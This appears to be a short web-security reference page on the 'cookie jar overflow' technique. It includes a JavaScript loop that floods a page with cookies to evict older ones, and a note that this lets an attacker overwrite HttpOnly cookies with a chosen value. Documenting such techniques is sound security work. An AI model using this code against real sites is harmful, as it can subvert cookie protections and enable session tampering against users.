# Cookie Jar Overflow

The browsers have a **limit on the number of cookies** that they can store for a page. Then, if for some reason you need to **make a cookie disappear**, you can **overflow the cookie jar** as the oldest ones will be deleted before:
|
|
|
|
```javascript
|
|
// Set many cookies
|
|
for (let i = 0; i < 700; i++) {
|
|
document.cookie = `cookie${i}=${i}; Secure`
|
|
}
|
|
|
|
// Remove all cookies
|
|
for (let i = 0; i < 700; i++) {
|
|
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`
|
|
}
|
|
```
|
|
|
|
Notice, that third party cookies pointing to a different domain won't be overwritten.
|

|
|
> [!CAUTION]
|
|
> This attack can also be used to **overwrite HttpOnly cookies as you can delete it and then reset it with the value you want**.
